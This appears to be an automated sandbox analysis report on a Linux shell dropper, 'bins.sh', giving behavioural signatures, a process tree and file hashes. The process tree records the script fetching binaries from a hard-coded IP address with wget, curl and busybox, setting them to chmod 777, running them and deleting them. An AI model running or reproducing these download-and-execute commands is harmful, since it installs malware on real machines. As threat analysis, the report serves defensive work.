Analysis

  • max time kernel
    16s
  • max time network
    19s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2024, 12:28

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-pnbgtsypes
  • SHA256 bf5bd1c4f78290af10e282c253d729e71c409db3f6cb8ee635e71f6ab88728c2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:641
        • /usr/bin/wget
          wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          PID:644
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:662
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          PID:669
        • /bin/chmod
          chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • File and Directory Permissions Modification
          PID:671
        • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:672
        • /bin/rm
          rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          PID:673
        • /usr/bin/wget
          wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
            PID:674
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:675
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
            2⤵
              PID:678
            • /bin/chmod
              chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
              2⤵
              • File and Directory Permissions Modification
              PID:683
            • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
              ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
              2⤵
              • Executes dropped EXE
              PID:685
            • /bin/rm
              rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
              2⤵
                PID:686
              • /usr/bin/wget
                wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                2⤵
                  PID:688
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:693
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                  2⤵
                    PID:701
                  • /bin/chmod
                    chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                    2⤵
                    • File and Directory Permissions Modification
                    PID:706
                  • /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                    ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                    2⤵
                    • Executes dropped EXE
                    PID:707
                  • /bin/rm
                    rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                    2⤵
                      PID:708
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                      2⤵
                        PID:710
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:716
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                        2⤵
                          PID:726
                        • /bin/chmod
                          chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                          2⤵
                          • File and Directory Permissions Modification
                          PID:732
                        • /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                          ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                          2⤵
                          • Executes dropped EXE
                          PID:733
                        • /bin/rm
                          rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                          2⤵
                            PID:734
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                            2⤵
                              PID:735
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:738
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                              2⤵
                                PID:741
                              • /bin/chmod
                                chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                2⤵
                                • File and Directory Permissions Modification
                                PID:747
                              • /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                2⤵
                                • Executes dropped EXE
                                PID:748
                              • /bin/rm
                                rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                2⤵
                                  PID:750
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                  2⤵
                                    PID:751
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:758
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                    2⤵
                                      PID:766
                                    • /bin/chmod
                                      chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:771
                                    • /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                      ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                      2⤵
                                      • Executes dropped EXE
                                      PID:773
                                    • /bin/rm
                                      rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                      2⤵
                                        PID:776
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                        2⤵
                                          PID:777
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:782
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                          2⤵
                                            PID:783
                                          • /bin/chmod
                                            chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:784
                                          • /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                            ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                            2⤵
                                            • Executes dropped EXE
                                            PID:785
                                          • /bin/rm
                                            rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                            2⤵
                                              PID:786
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:787
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:788
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:791
                                            • /bin/chmod
                                              chmod 777 HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:792
                                            • /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                              ./HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                              2⤵
                                              • Executes dropped EXE
                                              • System Network Configuration Discovery
                                              PID:793
                                            • /bin/rm
                                              rm HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:794
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
                                              2⤵
                                                PID:795

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

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                                                  Downloads

                                                  QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i

                                                  • Path /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                                  • Size 176B
                                                  • SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
                                                  • MD5 SHA1 SHA512

                                                  cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

                                                  • Path /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
                                                  • Size 153B
                                                  • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                  • MD5 SHA1 SHA512